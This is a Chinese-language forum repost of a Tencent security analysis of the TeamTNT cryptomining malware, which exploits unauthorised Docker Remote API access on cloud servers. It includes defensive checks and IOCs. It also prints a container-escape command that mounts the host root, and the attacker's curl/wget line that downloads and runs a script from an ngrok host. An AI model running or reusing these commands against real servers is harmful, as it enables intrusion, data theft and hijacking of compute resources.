查看: 3468|回复: 0
收起左侧

[技术原创] TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞入侵云服务器

[复制链接]
腾讯电脑管家
发表于 2020-11-27 14:27:48 | 显示全部楼层 |阅读模式
本帖最后由 腾讯电脑管家 于 2020-11-27 14:28 编辑

一、背景

腾讯安全威胁情报中心检测到TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞对云服务器进行攻击。TeamTNT挖矿木马入侵后会隐藏进程,并且通过安装定时任务持久化、通过SSH复用连接进行横向移动感染更多服务器。同时挖矿木马会占用大量CPU资源进行计算,可能导致业务系统崩溃。

腾讯安全专家建议企业用户按照以下步骤进行自查以及处置:

1.Docker Remote API的2375 非必要情况不要暴露在公网,如必须暴露公网 ,则需要配置访问控制策略;
2.排查当前主机docker的容器,是否存在非正常容器,将其停止并删除;
3.排查.ssh/authorized_keys、/etc/passwd、/etc/shadow是否被修改或者被新增用户;
4.排查是否存在以下文件,如存在以下文件,确认其md5值,如确认为异常文件,请及时删除:

/usr/local/lib/python3.5.so
/dev/shm/sbin
/usr/bin/tshd
/usr/bin/kube
/usr/bin/bioset
/tmp/ps/.x112
/bin/sbin
/tmp/.configure/.configure   /tmp/.configure/.kube
/home/jovyan/.config/.configure  /home/jovyan/.config/.kube

腾讯安全系列产品应对TeamTNT挖矿木马变种的响应清单如下:
更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/



二、详细分析

Docker Remote API未授权访问漏洞有严重风险,使用docker swarm管理的docker节点上开放一个TCP端口2375,绑定 IP 为: 0.0.0.0, 且暴露在公网上。导致攻击者可以远程管理该主机的 docker 容器,可启动、下载、重启镜像,甚至删除上面的容器。

通过 API 拉取开启一个容器后,虽然docker 执行命令只能在container内部,与宿主机是隔离的。但docker 在运行 container的时候,可以将宿主机文件或目录作为 volume olumeolume挂载到 container内,并且在 container内部对这些文件进行修改。

攻击者可以使用以下命令,启动一个container,将宿主的目录挂载到container内,然后切换到挂载目录,即可执行任意命令。通过修改/sshd_config文件,在写入主机的ssh公钥,即可远程登录该宿主机。
docker -H tcp://x.x.x.x:2375 run -it -v /:/mntxxx chroot /mnt sh

Docker Remote API未授权访问漏洞,攻击者通过构造特定的请求实现漏洞利用,成功利用漏洞可在目标服务器上实现权限获取,风险较高。目前漏洞的利用方式已被公开。

攻击者通过漏洞首先启动一个busybox容器,然后将宿主目录挂载到mnt路径下,然后执行恶意命令:
chroot /mnt bash -c curlhttp://0ee0da0d2bb1.ngrok.io/meow.sh | bash || wget -O -http://0ee0da0d2bb1.ngrok.io/meow.sh | bash

meow.sh主要功能是向宿主机写入公钥,并添加用户进行控制:


添加用户:


在完成了用户添加后,在登录到系统,并执行命令下载cat.sh文件。


cat.sh是整个挖矿的核心文件。有几个大模块:LOCKSCREEN、XMRIGSETUP、MAKE_USERS、SETUP_USER

通过对当前用户进行判断,根据不同的用户执行相应的操作。


LOCKSCREEN主要是鉴权操作:


XMRIGSETUP是挖矿的核心功能,该模块首先会写入一个xmrso.tar.gz的文件,然后解压后存储为python3.5.so的文件。并通过利用预加载型恶意动态链接库的方式对进程进行隐藏。


Python3.5.so通过通过重写readdir,readdir64库函数来达到隐藏xmrig进程的目的。


计算当前主机相关性能参数,计算hashrate.


在确定hashrate,杀掉当前已有的挖矿程序后,下载挖矿主程序,并进行进行挖矿操作。为了不因为CPU利用达到100%而被发现,配置了CPU使用率上限。


MAKE_USERS 主要功能是创建一个有root权限的hilde用户,并写入公钥,修改相应权限,并修改sshd_config文件,以运行利用密码进行远程登录。


在添加完用户后,进行远程登录操作,并清楚命令记录:


SETUP_USER主要是执行前面三个模块,并下载sbin/ziggy_spread两个文件并执行。两个文件都是加载器。


在执行完以上操作后,会下载一个ssh名称的文件。


ssh文件也分为几个功能模块:setupmyapps、uploadthersa、getsomelanssh、localgo
首先执行setupmyapps,该模块主要是对主机安装恶意软件,包括default.jpg,tshd.jpg,bioset.jpg,pnscan,其中default.jpg为挖矿的主程序,tshd.jpg和bioset.jpg为后门文件。pnscan用以进行横向攻击时进行扫描探测。


然后执行uploadthersa,该模块的主要功能是将本地的相关的文件打包上传,如authorized_keys,known_hosts、.bash_history等文件进行打包后,利用curl上传到C2服务器。


在执行getsomelanssh,该模块主要功能是通过读取相关文件,确认关联的IP,在利用pnscan进行扫描。确认是否开启22端口


再执行localgo模块,该模块主要功能是利用ssh进行横向渗透,并下载执行恶意文件。


通过以上分析能够看出该挖矿木马具有漏洞利用、挖矿、横向移动等全部功能,且能够进行进程隐藏等操作。

IOCs
IP
85.214.149.236

Domain
kaiserfranz.cc
teamtnt.red
0ee0da0d2bb1.ngrok.io

C&C
hxxps://teamtnt.red/only_for_stats/index.php

Md5

URL:
hxxp://85.214.149.236:443/sugarcrm/themes/default/images/default.jpg
hxxp://85.214.149.236:443/sugarcrm/themes/default/images/tshd.jpg
hxxp://85.214.149.236:443/sugarcrm/themes/default/images/bioset.jpg
hxxp://kaiserfranz.cc/ziggy_spread
hxxp://kaiserfranz.cc/sbin
hxxp://0ee0da0d2bb1.ngrok.io/meow.sh
hxxp://0ee0da0d2bb1.ngrok.io/cat.sh
hxxps://teamtnt.red/so/64/xmrig.so
hxxps://teamtnt.red/sh/ssh

钱包:
89oyHGJuSAVVD2NjfExz7dQ68fAKsgJptgB8CBD4qm458WgNV6BnaBgXDHJHNTG7VSbCmuWQK5ABD9UmyijKoogP64pwhPW

矿池地址:
gulf.moneroocean.stream



参考链接:
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-4-27 06:35 , Processed in 0.117807 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表